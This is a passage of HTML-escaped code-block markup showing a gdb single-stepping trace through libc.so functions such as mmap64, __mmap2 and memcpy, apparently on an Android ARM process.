alt1\"><code class=\"python plain\">(gdb) <\/code><\/div>\n<div class=\"line number527 index526 alt2\"><code class=\"python value\">0xb6f0c560<\/code> <code class=\"python keyword\">in<\/code> <code class=\"python plain\">mmap64 () <\/code><code class=\"python keyword\">from<\/code> <code class=\"python keyword\">\/<\/code><code class=\"python plain\">system<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">lib<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">libc.so<\/code><\/div>\n<div class=\"line number528 index527 alt1\"><code class=\"python plain\">(gdb) <\/code><\/div>\n<div class=\"line number529 index528 alt2\"><code class=\"python value\">0xb6f0c564<\/code> <code class=\"python keyword\">in<\/code> <code class=\"python plain\">mmap64 () <\/code><code class=\"python keyword\">from<\/code> <code class=\"python keyword\">\/<\/code><code class=\"python plain\">system<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">lib<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">libc.so<\/code><\/div>\n<div class=\"line number530 index529 alt1\"><code class=\"python plain\">(gdb) <\/code><\/div>\n<div class=\"line number531 index530 alt2\"><code class=\"python value\">0xb6f0c566<\/code> <code class=\"python keyword\">in<\/code> <code class=\"python plain\">mmap64 () <\/code><code class=\"python keyword\">from<\/code> <code class=\"python keyword\">\/<\/code><code class=\"python plain\">system<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">lib<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">libc.so<\/code><\/div>\n<div class=\"line number532 index531 alt1\"><code class=\"python plain\">(gdb) <\/code><\/div>\n<div class=\"line number533 index532 alt2\"><code class=\"python plain\">[New LWP <\/code><code class=\"python value\">24351<\/code><code class=\"python plain\">]<\/code><\/div>\n<div class=\"line number534 index533 alt1\"><code class=\"python value\">0xb6f0c576<\/code> <code class=\"python keyword\">in<\/code> <code class=\"python plain\">mmap64 () <\/code><code class=\"python keyword\">from<\/code> <code class=\"python keyword\">\/<\/code><code class=\"python plain\">system<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">lib<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">libc.so<\/code><\/div>\n<div class=\"line number535 index534 alt2\"><code class=\"python plain\">(gdb) <\/code><\/div>\n<div class=\"line number536 index535 alt1\"><code class=\"python value\">0xb6f0c57a<\/code> <code class=\"python keyword\">in<\/code> <code class=\"python plain\">mmap64 () <\/code><code class=\"python keyword\">from<\/code> <code class=\"python keyword\">\/<\/code><code class=\"python plain\">system<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">lib<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">libc.so<\/code><\/div>\n<div class=\"line number537 index536 alt2\"><code class=\"python plain\">(gdb) <\/code><\/div>\n<div class=\"line number538 index537 alt1\"><code class=\"python plain\">[New LWP <\/code><code class=\"python value\">24352<\/code><code class=\"python plain\">]<\/code><\/div>\n<div class=\"line number539 index538 alt2\"><code class=\"python value\">0xb6f0c57c<\/code> <code class=\"python keyword\">in<\/code> <code class=\"python plain\">mmap64 () <\/code><code class=\"python keyword\">from<\/code> <code class=\"python keyword\">\/<\/code><code class=\"python plain\">system<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">lib<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">libc.so<\/code><\/div>\n<div class=\"line number540 index539 alt1\"><code class=\"python plain\">(gdb) <\/code><\/div>\n<div class=\"line number541 index540 alt2\"><code class=\"python value\">0xb6f0c57e<\/code> <code class=\"python keyword\">in<\/code> <code class=\"python plain\">mmap64 () <\/code><code class=\"python keyword\">from<\/code> <code class=\"python keyword\">\/<\/code><code class=\"python plain\">system<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">lib<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">libc.so<\/code><\/div>\n<div class=\"line number542 index541 alt1\"><code class=\"python plain\">(gdb) <\/code><\/div>\n<div class=\"line number543 index542 alt2\"><code class=\"python value\">0xb6f0c582<\/code> <code class=\"python keyword\">in<\/code> <code class=\"python plain\">mmap64 () <\/code><code class=\"python keyword\">from<\/code> <code class=\"python keyword\">\/<\/code><code class=\"python plain\">system<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">lib<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">libc.so<\/code><\/div>\n<div class=\"line number544 index543 alt1\"><code class=\"python plain\">(gdb) <\/code><\/div>\n<div class=\"line number545 index544 alt2\"><code class=\"python value\">0xb6f2da58<\/code> <code class=\"python keyword\">in<\/code> <code class=\"python plain\">__mmap2 () <\/code><code class=\"python keyword\">from<\/code> <code class=\"python keyword\">\/<\/code><code class=\"python plain\">system<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">lib<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">libc.so<\/code><\/div>\n<div class=\"line number546 index545 alt1\"><code class=\"python plain\">(gdb) <\/code><\/div>\n<div class=\"line number547 index546 alt2\"><code class=\"python value\">0xb6f2da5c<\/code> <code class=\"python keyword\">in<\/code> <code class=\"python plain\">__mmap2 () <\/code><code class=\"python keyword\">from<\/code> <code class=\"python keyword\">\/<\/code><code class=\"python plain\">system<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">lib<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">libc.so<\/code><\/div>\n<div class=\"line number548 index547 alt1\"><code class=\"python plain\">(gdb) <\/code><\/div>\n<div class=\"line number549 index548 alt2\"><code class=\"python value\">0xb6f2da60<\/code> <code class=\"python keyword\">in<\/code> <code class=\"python plain\">__mmap2 () <\/code><code class=\"python keyword\">from<\/code> <code class=\"python keyword\">\/<\/code><code class=\"python plain\">system<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">lib<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">libc.so<\/code><\/div>\n<div class=\"line number550 index549 alt1\"><code class=\"python plain\">(gdb) <\/code><\/div>\n<div class=\"line number551 index550 alt2\"><code class=\"python value\">0xb6f2da64<\/code> <code class=\"python keyword\">in<\/code> <code class=\"python plain\">__mmap2 () <\/code><code class=\"python keyword\">from<\/code> <code class=\"python keyword\">\/<\/code><code class=\"python plain\">system<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">lib<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">libc.so<\/code><\/div>\n<div class=\"line number552 index551 alt1\"><code class=\"python plain\">(gdb) <\/code><\/div>\n<div class=\"line number553 index552 alt2\"><code class=\"python value\">0xb6f2da68<\/code> <code class=\"python keyword\">in<\/code> <code class=\"python plain\">__mmap2 () <\/code><code class=\"python keyword\">from<\/code> <code class=\"python keyword\">\/<\/code><code class=\"python plain\">system<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">lib<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">libc.so<\/code><\/div>\n<div class=\"line number554 index553 alt1\"><code class=\"python plain\">(gdb) <\/code><\/div>\n<div class=\"line number555 index554 alt2\"><code class=\"python value\">0xb6f2da6c<\/code> <code class=\"python keyword\">in<\/code> <code class=\"python plain\">__mmap2 () <\/code><code class=\"python keyword\">from<\/code> <code class=\"python keyword\">\/<\/code><code class=\"python plain\">system<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">lib<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">libc.so<\/code><\/div>\n<div class=\"line number556 index555 alt1\"><code class=\"python plain\">(gdb) <\/code><\/div>\n<div class=\"line number557 index556 alt2\"><code class=\"python value\">0xb6f2da70<\/code> <code class=\"python keyword\">in<\/code> <code class=\"python plain\">__mmap2 () <\/code><code class=\"python keyword\">from<\/code> <code class=\"python keyword\">\/<\/code><code class=\"python plain\">system<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">lib<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">libc.so<\/code><\/div>\n<div class=\"line number558 index557 alt1\"><code class=\"python plain\">(gdb) <\/code><\/div>\n<div class=\"line number559 index558 alt2\"><code class=\"python value\">0xb6f2da74<\/code> <code class=\"python keyword\">in<\/code> <code class=\"python plain\">__mmap2 () <\/code><code class=\"python keyword\">from<\/code> <code class=\"python keyword\">\/<\/code><code class=\"python plain\">system<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">lib<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">libc.so<\/code><\/div>\n<div class=\"line number560 index559 alt1\"><code class=\"python plain\">(gdb) <\/code><\/div>\n<div class=\"line number561 index560 alt2\"><code class=\"python value\">0xb6f0c586<\/code> <code class=\"python keyword\">in<\/code> <code class=\"python plain\">mmap64 () <\/code><code class=\"python keyword\">from<\/code> <code class=\"python keyword\">\/<\/code><code class=\"python plain\">system<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">lib<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">libc.so<\/code><\/div>\n<div class=\"line number562 index561 alt1\"><code class=\"python plain\">(gdb) <\/code><\/div>\n<div class=\"line number563 index562 alt2\"><code class=\"python value\">0xb6f0c588<\/code> <code class=\"python keyword\">in<\/code> <code class=\"python plain\">mmap64 () <\/code><code class=\"python keyword\">from<\/code> <code class=\"python keyword\">\/<\/code><code class=\"python plain\">system<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">lib<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">libc.so<\/code><\/div>\n<div class=\"line number564 index563 alt1\"><code class=\"python plain\">(gdb) <\/code><\/div>\n<div class=\"line number565 index564 alt2\"><code class=\"python value\">0xb6f0c58a<\/code> <code class=\"python keyword\">in<\/code> <code class=\"python plain\">mmap64 () <\/code><code class=\"python keyword\">from<\/code> <code class=\"python keyword\">\/<\/code><code class=\"python plain\">system<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">lib<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">libc.so<\/code><\/div>\n<div class=\"line number566 index565 alt1\"><code class=\"python plain\">(gdb) <\/code><\/div>\n<div class=\"line number567 index566 alt2\"><code class=\"python value\">0xb6f0c58c<\/code> <code class=\"python keyword\">in<\/code> <code class=\"python plain\">mmap64 () <\/code><code class=\"python keyword\">from<\/code> <code class=\"python keyword\">\/<\/code><code class=\"python plain\">system<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">lib<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">libc.so<\/code><\/div>\n<div class=\"line number568 index567 alt1\"><code class=\"python plain\">(gdb) <\/code><\/div>\n<div class=\"line number569 index568 alt2\"><code class=\"python value\">0xb6f0c58e<\/code> <code class=\"python keyword\">in<\/code> <code class=\"python plain\">mmap64 () <\/code><code class=\"python keyword\">from<\/code> <code class=\"python keyword\">\/<\/code><code class=\"python plain\">system<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">lib<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">libc.so<\/code><\/div>\n<div class=\"line number570 index569 alt1\"><code class=\"python plain\">(gdb) <\/code><\/div>\n<div class=\"line number571 index570 alt2\"><code class=\"python value\">0xb6f0c590<\/code> <code class=\"python keyword\">in<\/code> <code class=\"python plain\">mmap64 () <\/code><code class=\"python keyword\">from<\/code> <code class=\"python keyword\">\/<\/code><code class=\"python plain\">system<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">lib<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">libc.so<\/code><\/div>\n<div class=\"line number572 index571 alt1\"><code class=\"python plain\">(gdb) <\/code><\/div>\n<div class=\"line number573 index572 alt2\"><code class=\"python value\">0xb6f0c592<\/code> <code class=\"python keyword\">in<\/code> <code class=\"python plain\">mmap64 () <\/code><code class=\"python keyword\">from<\/code> <code class=\"python keyword\">\/<\/code><code class=\"python plain\">system<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">lib<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">libc.so<\/code><\/div>\n<div class=\"line number574 index573 alt1\"><code class=\"python plain\">(gdb) <\/code><\/div>\n<div class=\"line number575 index574 alt2\"><code class=\"python value\">0xb6f0c5bc<\/code> <code class=\"python keyword\">in<\/code> <code class=\"python plain\">mmap64 () <\/code><code class=\"python keyword\">from<\/code> <code class=\"python keyword\">\/<\/code><code class=\"python plain\">system<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">lib<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">libc.so<\/code><\/div>\n<div class=\"line number576 index575 alt1\"><code class=\"python plain\">(gdb) <\/code><\/div>\n<div class=\"line number577 index576 alt2\"><code class=\"python value\">0xb6f0c5be<\/code> <code class=\"python keyword\">in<\/code> <code class=\"python plain\">mmap64 () <\/code><code class=\"python keyword\">from<\/code> <code class=\"python keyword\">\/<\/code><code class=\"python plain\">system<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">lib<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">libc.so<\/code><\/div>\n<div class=\"line number578 index577 alt1\"><code class=\"python plain\">(gdb) <\/code><\/div>\n<div class=\"line number579 index578 alt2\"><code class=\"python value\">0xb6f0c5c6<\/code> <code class=\"python keyword\">in<\/code> <code class=\"python plain\">mmap64 () <\/code><code class=\"python keyword\">from<\/code> <code class=\"python keyword\">\/<\/code><code class=\"python plain\">system<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">lib<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">libc.so<\/code><\/div>\n<div class=\"line number580 index579 alt1\"><code class=\"python plain\">(gdb) <\/code><\/div>\n<div class=\"line number581 index580 alt2\"><code class=\"python value\">0xb6f0c5c8<\/code> <code class=\"python keyword\">in<\/code> <code class=\"python plain\">mmap64 () <\/code><code class=\"python keyword\">from<\/code> <code class=\"python keyword\">\/<\/code><code class=\"python plain\">system<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">lib<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">libc.so<\/code><\/div>\n<div class=\"line number582 index581 alt1\"><code class=\"python plain\">(gdb) <\/code><\/div>\n<div class=\"line number583 index582 alt2\"><code class=\"python value\">0xb6f03672<\/code> <code class=\"python keyword\">in<\/code> <code class=\"python plain\">__futex_wake_ex.constprop.<\/code><code class=\"python value\">0<\/code> <code class=\"python plain\">() <\/code><code class=\"python keyword\">from<\/code> <code class=\"python keyword\">\/<\/code><code class=\"python plain\">system<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">lib<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">libc.so<\/code><\/div>\n<div class=\"line number584 index583 alt1\"><code class=\"python plain\">(gdb) <\/code><\/div>\n<div class=\"line number585 index584 alt2\"><code class=\"python value\">0xb6f45338<\/code> <code class=\"python keyword\">in<\/code> <code class=\"python plain\">pop () <\/code><code class=\"python keyword\">from<\/code> <code class=\"python keyword\">\/<\/code><code class=\"python plain\">system<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">lib<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">libc.so<\/code><\/div>\n<div class=\"line number586 index585 alt1\"><code class=\"python plain\">(gdb) <\/code><\/div>\n<div class=\"line number587 index586 alt2\"><code class=\"python value\">0xb6f4835c<\/code> <code class=\"python keyword\">in<\/code> <code class=\"python plain\">___Unwind_RaiseException () <\/code><code class=\"python keyword\">from<\/code> <code class=\"python keyword\">\/<\/code><code class=\"python plain\">system<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">lib<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">libc.so<\/code><\/div>\n<div class=\"line number588 index587 alt1\"><code class=\"python plain\">(gdb) <\/code><\/div>\n<div class=\"line number589 index588 alt2\"><code class=\"python value\">0xb6f48360<\/code> <code class=\"python keyword\">in<\/code> <code class=\"python plain\">___Unwind_RaiseException () <\/code><code class=\"python keyword\">from<\/code> <code class=\"python keyword\">\/<\/code><code class=\"python plain\">system<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">lib<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">libc.so<\/code><\/div>\n<div class=\"line number590 index589 alt1\"><code class=\"python plain\">(gdb) <\/code><\/div>\n<div class=\"line number591 index590 alt2\"><code class=\"python value\">0xb6f48364<\/code> <code class=\"python keyword\">in<\/code> <code class=\"python plain\">___Unwind_RaiseException () <\/code><code class=\"python keyword\">from<\/code> <code class=\"python keyword\">\/<\/code><code class=\"python plain\">system<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">lib<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">libc.so<\/code><\/div>\n<div class=\"line number592 index591 alt1\"><code class=\"python plain\">(gdb) <\/code><\/div>\n<div class=\"line number593 index592 alt2\"><code class=\"python value\">0xb6f03672<\/code> <code class=\"python keyword\">in<\/code> <code class=\"python plain\">__futex_wake_ex.constprop.<\/code><code class=\"python value\">0<\/code> <code class=\"python plain\">() <\/code><code class=\"python keyword\">from<\/code> <code class=\"python keyword\">\/<\/code><code class=\"python plain\">system<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">lib<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">libc.so<\/code><\/div>\n<div class=\"line number594 index593 alt1\"><code class=\"python plain\">(gdb) <\/code><\/div>\n<div class=\"line number595 index594 alt2\"><code class=\"python value\">0xb6f05fd0<\/code> <code class=\"python keyword\">in<\/code> <code class=\"python plain\">memcpy () <\/code><code class=\"python keyword\">from<\/code> <code class=\"python keyword\">\/<\/code><code class=\"python plain\">system<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">lib<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">libc.so<\/code><\/div>\n<div class=\"line number596 index595 alt1\"><code class=\"python plain\">(gdb) <\/code><\/div>\n<div class=\"line number597 index596 alt2\"><code class=\"python value\">0xb6f05fd4<\/code> <code class=\"python keyword\">in<\/code> <code class=\"python plain\">memcpy () <\/code><code class=\"python keyword\">from<\/code> <code class=\"python keyword\">\/<\/code><code class=\"python plain\">system<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">lib<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">libc.so<\/code><\/div>\n<div class=\"line number598 index597 alt1\"><code class=\"python plain\">(gdb) <\/code><\/div>\n<div class=\"line number599 index598 alt2\"><code class=\"python value\">0xb6f05fd8<\/code> <code class=\"python keyword\">in<\/code> <code class=\"python plain\">memcpy () <\/code><code class=\"python keyword\">from<\/code> <code class=\"python keyword\">\/<\/code><code class=\"python plain\">system<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">lib<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">libc.so<\/code><\/div>\n<div class=\"line number600 index599 alt1\"><code class=\"python plain\">(gdb) <\/code><\/div>\n<div class=\"line number601 index600 alt2\"><code class=\"python value\">0xb6f05fdc<\/code> <code class=\"python keyword\">in<\/code> <code class=\"python plain\">memcpy () <\/code><code class=\"python keyword\">from<\/code> <code class=\"python keyword\">\/<\/code><code class=\"python plain\">system<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">lib<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">libc.so<\/code><\/div>\n<div class=\"line number602 index601 alt1\"><code class=\"python plain\">(gdb) <\/code><\/div>\n<div class=\"line number603 index602 alt2\"><code class=\"python value\">0xb6f05fe0<\/code> <code class=\"python keyword\">in<\/code> <code class=\"python plain\">memcpy () <\/code><code class=\"python keyword\">from<\/code> <code class=\"python keyword\">\/<\/code><code class=\"python plain\">system<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">lib<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">libc.so<\/code><\/div>\n<div class=\"line number604 index603 alt1\"><code class=\"python plain\">(gdb) <\/code><\/div>\n<div class=\"line number605 index604 alt2\"><code class=\"python value\">0xb6f05fe4<\/code> <code class=\"python keyword\">in<\/code> <code class=\"python plain\">memcpy () <\/code><code class=\"python keyword\">from<\/code> <code class=\"python keyword\">\/<\/code><code class=\"python plain\">system<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">lib<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">libc.so<\/code><\/div>\n<div class=\"line number606 index605 alt1\"><code class=\"python plain\">(gdb) <\/code><\/div>\n<div class=\"line number607 index606 alt2\"><code class=\"python value\">0xb6f05fe8<\/code> <code class=\"python keyword\">in<\/code> <code class=\"python plain\">memcpy () <\/code><code class=\"python keyword\">from<\/code> <code class=\"python keyword\">\/<\/code><code class=\"python plain\">system<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">lib<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">libc.so<\/code><\/div>\n<div class=\"line number608 index607 alt1\"><code class=\"python plain\">(gdb) <\/code><\/div>\n<div class=\"line number609 index608 alt2\"><code class=\"python value\">0xb6f06028<\/code> <code class=\"python keyword\">in<\/code> <code class=\"python plain\">memcpy () <\/code><code class=\"python keyword\">from<\/code> <code class=\"python keyword\">\/<\/code><code class=\"python plain\">system<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">lib<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">libc.so<\/code><\/div>\n<div class=\"line number610 index609 alt1\"><code class=\"python plain\">(gdb) <\/code><\/div>\n<div class=\"line number611 index610 alt2\"><code class=\"python value\">0xb6f0602c<\/code> <code class=\"python keyword\">in<\/code> <code class=\"python plain\">memcpy () <\/code><code class=\"python keyword\">from<\/code> <code class=\"python keyword\">\/<\/code><code class=\"python plain\">system<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">lib<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">libc.so<\/code><\/div>\n<div class=\"line number612 index611 alt1\"><code class=\"python plain\">(gdb) <\/code><\/div>\n<div class=\"line number613 index612 alt2\"><code class=\"python value\">0xb6f06030<\/code> <code class=\"python keyword\">in<\/code> <code class=\"python plain\">memcpy () <\/code><code class=\"python keyword\">from<\/code> <code class=\"python keyword\">\/<\/code><code class=\"python plain\">system<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">lib<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">libc.so<\/code><\/div>\n<div class=\"line number614 index613 alt1\"><code class=\"python plain\">(gdb) <\/code><\/div>\n<div class=\"line number615 index614 alt2\"><code class=\"python value\">0xb6f06034<\/code> <code class=\"python keyword\">in<\/code> <code class=\"python plain\">memcpy () <\/code><code class=\"python keyword\">from<\/code> <code class=\"python keyword\">\/<\/code><code class=\"python plain\">system<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">lib<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">libc.so<\/code><\/div>\n<div class=\"line number616 index615 alt1\"><code class=\"python plain\">(gdb) <\/code><\/div>\n<div class=\"line number617 index616 alt2\"><code class=\"python value\">0xb6f06038<\/code> <code class=\"python keyword\">in<\/code> <code class=\"python plain\">memcpy () <\/code><code class=\"python keyword\">from<\/code> <code class=\"python keyword\">\/<\/code><code class=\"python plain\">system<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">lib<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">libc.so<\/code><\/div>\n<div class=\"line number618 index617 alt1\"><code class=\"python plain\">(gdb) <\/code><\/div>\n<div class=\"line number619 index618 alt2\"><code class=\"python value\">0xb6f0603c<\/code> <code class=\"python keyword\">in<\/code> <code class=\"python plain\">memcpy () <\/code><code class=\"python keyword\">from<\/code> <code class=\"python keyword\">\/<\/code><code class=\"python plain\">system<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">lib<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">libc.so<\/code><\/div>\n<div class=\"line number620 index619 alt1\"><code class=\"python plain\">(gdb) <\/code><\/div>\n<div class=\"line number621 index620 alt2\"><code class=\"python value\">0xb6f06040<\/code> <code class=\"python keyword\">in<\/code> <code class=\"python plain\">memcpy () <\/code><code class=\"python keyword\">from<\/code> <code class=\"python keyword\">\/<\/code><code class=\"python plain\">system<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">lib<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">libc.so<\/code><\/div>\n<div class=\"line number622 index621 alt1\"><code class=\"python plain\">(gdb) <\/code><\/div>\n<div class=\"line number623 index622 alt2\"><code class=\"python value\">0xb6f06044<\/code> <code class=\"python keyword\">in<\/code> <code class=\"python plain\">memcpy () <\/code><code class=\"python keyword\">from<\/code> <code class=\"python keyword\">\/<\/code><code class=\"python plain\">system<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">lib<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">libc.so<\/code><\/div>\n<div class=\"line number624 index623 alt1\"><code class=\"python plain\">(gdb) <\/code><\/div>\n<div class=\"line number625 index624 alt2\"><code class=\"python value\">0xb6f06048<\/code> <code class=\"python keyword\">in<\/code> <code class=\"python plain\">memcpy () <\/code><code class=\"python keyword\">from<\/code> <code class=\"python keyword\">\/<\/code><code class=\"python plain\">system<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">lib<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">libc.so<\/code><\/div>\n<div class=\"line number626 index625 alt1\"><code class=\"python plain\">(gdb) <\/code><\/div>\n<div class=\"line number627 index626 alt2\"><code class=\"python value\">0xb6f06030<\/code> <code class=\"python keyword\">in<\/code> <code class=\"python plain\">memcpy () <\/code><code class=\"python keyword\">from<\/code> <code class=\"python keyword\">\/<\/code><code class=\"python plain\">system<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">lib<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">libc.so<\/code><\/div>\n<div class=\"line number628 index627 alt1\"><code class=\"python plain\">(gdb) <\/code><\/div>\n<div class=\"line number629 index628 alt2\"><code class=\"python value\">0xb6f06034<\/code> <code class=\"python keyword\">in<\/code> <code class=\"python plain\">memcpy () <\/code><code class=\"python keyword\">from<\/code> <code class=\"python keyword\">\/<\/code><code class=\"python plain\">system<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">lib<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">libc.so<\/code><\/div>\n<div class=\"line number630 index629 alt1\"><code class=\"python plain\">(gdb) <\/code><\/div>\n<div class=\"line number631 index630 alt2\"><code class=\"python value\">0xb6f06038<\/code> <code class=\"python keyword\">in<\/code> <code class=\"python plain\">memcpy () <\/code><code class=\"python keyword\">from<\/code> <code class=\"python keyword\">\/<\/code><code class=\"python plain\">system<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">lib<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">libc.so<\/code><\/div>\n<div class=\"line number632 index631 alt1\"><code class=\"python plain\">(gdb) <\/code><\/div>\n<div class=\"line number633 index632 alt2\"><code class=\"python value\">0xb6f0603c<\/code> <code class=\"python keyword\">in<\/code> <code class=\"python plain\">memcpy () <\/code><code class=\"python keyword\">from<\/code> <code class=\"python keyword\">\/<\/code><code class=\"python plain\">system<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">lib<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">libc.so<\/code><\/div>\n<div class=\"line number634 index633 alt1\"><code class=\"python plain\">(gdb) <\/code><\/div>\n<div class=\"line number635 index634 alt2\"><code class=\"python value\">0xb6f06040<\/code> <code class=\"python keyword\">in<\/code> <code class=\"python plain\">memcpy () <\/code><code class=\"python keyword\">from<\/code> <code class=\"python keyword\">\/<\/code><code class=\"python plain\">system<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">lib<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">libc.so<\/code><\/div>\n<div class=\"line number636 index635 alt1\"><code class=\"python plain\">(gdb) <\/code><\/div>\n<div class=\"line number637 index636 alt2\"><code class=\"python value\">0xb6f06044<\/code> <code class=\"python keyword\">in<\/code> <code class=\"python plain\">memcpy () <\/code><code class=\"python keyword\">from<\/code> <code class=\"python keyword\">\/<\/code><code class=\"python plain\">system<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">lib<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">libc.so<\/code><\/div>\n<div class=\"line number638 index637 alt1\"><code class=\"python plain\">(gdb) <\/code><\/div>\n<div class=\"line number639 index638 alt2\"><code class=\"python value\">0xb6f06048<\/code> <code class=\"python keyword\">in<\/code> <code class=\"python plain\">memcpy () <\/code><code class=\"python keyword\">from<\/code> <code class=\"python keyword\">\/<\/code><code class=\"python plain\">system<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">lib<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">libc.so<\/code><\/div>\n<div class=\"line number640 index639 alt1\"><code class=\"python plain\">(gdb) <\/code><\/div>\n<div class=\"line number641 index640 alt2\"><code class=\"python value\">0xb6f06030<\/code> <code class=\"python keyword\">in<\/code> <code class=\"python plain\">memcpy () <\/code><code class=\"python keyword\">from<\/code> <code class=\"python keyword\">\/<\/code><code class=\"python plain\">system<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">lib<\/code><code class=\"python keyword\">\/<\/code><code class=\"python plain\">libc.so<\/code><\/div>\n<div class=\"line number642 index641 alt1\"><code class=\"python plain\">(gdb) <\/code><\/div>\n<div class=\"line number643 index642 alt2\"><code class=\"python value\">0xb6f06034<\/code> <code class=\"python keyword\">in<\/code> <code class=\"python plain\">memcpy () <\/code><code class=\"python keyword\">from<\/code> <code class=\"python keyword\">\/<\/code><code class=\"python plain\">system<\/code><code class=\"python 